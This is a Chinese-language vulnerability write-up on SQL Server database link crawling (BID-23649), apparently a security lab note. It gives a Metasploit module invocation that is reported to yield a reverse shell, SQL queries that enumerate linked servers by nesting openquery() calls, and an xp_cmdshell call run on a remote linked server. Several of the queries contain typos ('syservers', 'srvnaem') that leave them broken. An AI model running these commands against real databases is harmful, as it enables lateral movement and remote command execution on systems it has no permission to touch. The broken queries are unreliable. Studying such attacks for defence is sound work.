BID-23649_SQL Server链接爬网命令执行漏洞

Catalogue
  1. 1. 漏洞信息
    1. 1.1. 漏洞名称
    2. 1.2. 漏洞概述
    3. 1.3. 漏洞影响
    4. 1.4. 解决方案
  2. 2. 漏洞复现
  3. 3. 漏洞分析
  4. 4. 参考资料

漏洞信息

漏洞名称

  • 漏洞名称:Microsoft SQL Server 数据库链接爬网命令执行漏洞
  • CVE编号:暂无
  • CNVD编号:暂无
  • Bugtraq 编号:23649
  • 漏洞类型:代码执行

漏洞概述

​ Microsoft SQL Server 数据库链接爬网命令执行漏洞。远程攻击者利用,数据库链接查询功能无凭证要求特点,通过openquery()函数,执行远程代码。

​ msf脚本公开于2012/12/25

漏洞影响

​ Microsoft SQL Server 2000 2005

解决方案

​ 暂无

漏洞复现

​ 在win 7 上部署 mssql 2005,并配置开启远程连接。

​ kali上使用msf

1
use exploit/windows/mssql/mssql_linkcrawler

​ 最终反弹shell成功。

漏洞分析

​ Database Link 数据库链接的作用是,允许一个数据库服务器去对其他的数据库服务器进行查询,通常配置此功能会使数据库服务器,拥有过多的特权。使用openquery()函数,对被链接的数据库服务器进行查询;也可以执行xp_cmdshell,对远程访问也无凭证要求。

​ 通常情况下链接的数据库服务器的部署图如下:

​ 列出所有链接的服务器名,通常有两个选项

1
sp_linkedservers

​ 和

1
SELECT srvname FROM master..syservers

​ 查询一个服务器的所有链接的服务器名:

1
SELECT srvnaem From openquery(DB1, 'select srvname FROM master..sysservers')

​ 查询一个服务器的某个链接的服务器所链接的服务器名:

1
SELECT srvnaem From openquery(DB1, 'select srvname FROM openquery(HVA, "SELECT srvname FROM master..syservers")')

​ 查询可以一直嵌套执行,直到穷尽所有数据库服务器。

​ 在链接的服务器上执行命令:

1
SELECT * FROM openquery(DB1, 'SELECT * FROM openquery(HVA, "SELECT 1; exec xp_cmdshell'"'ping 192.168.1.1"" '')')

参考资料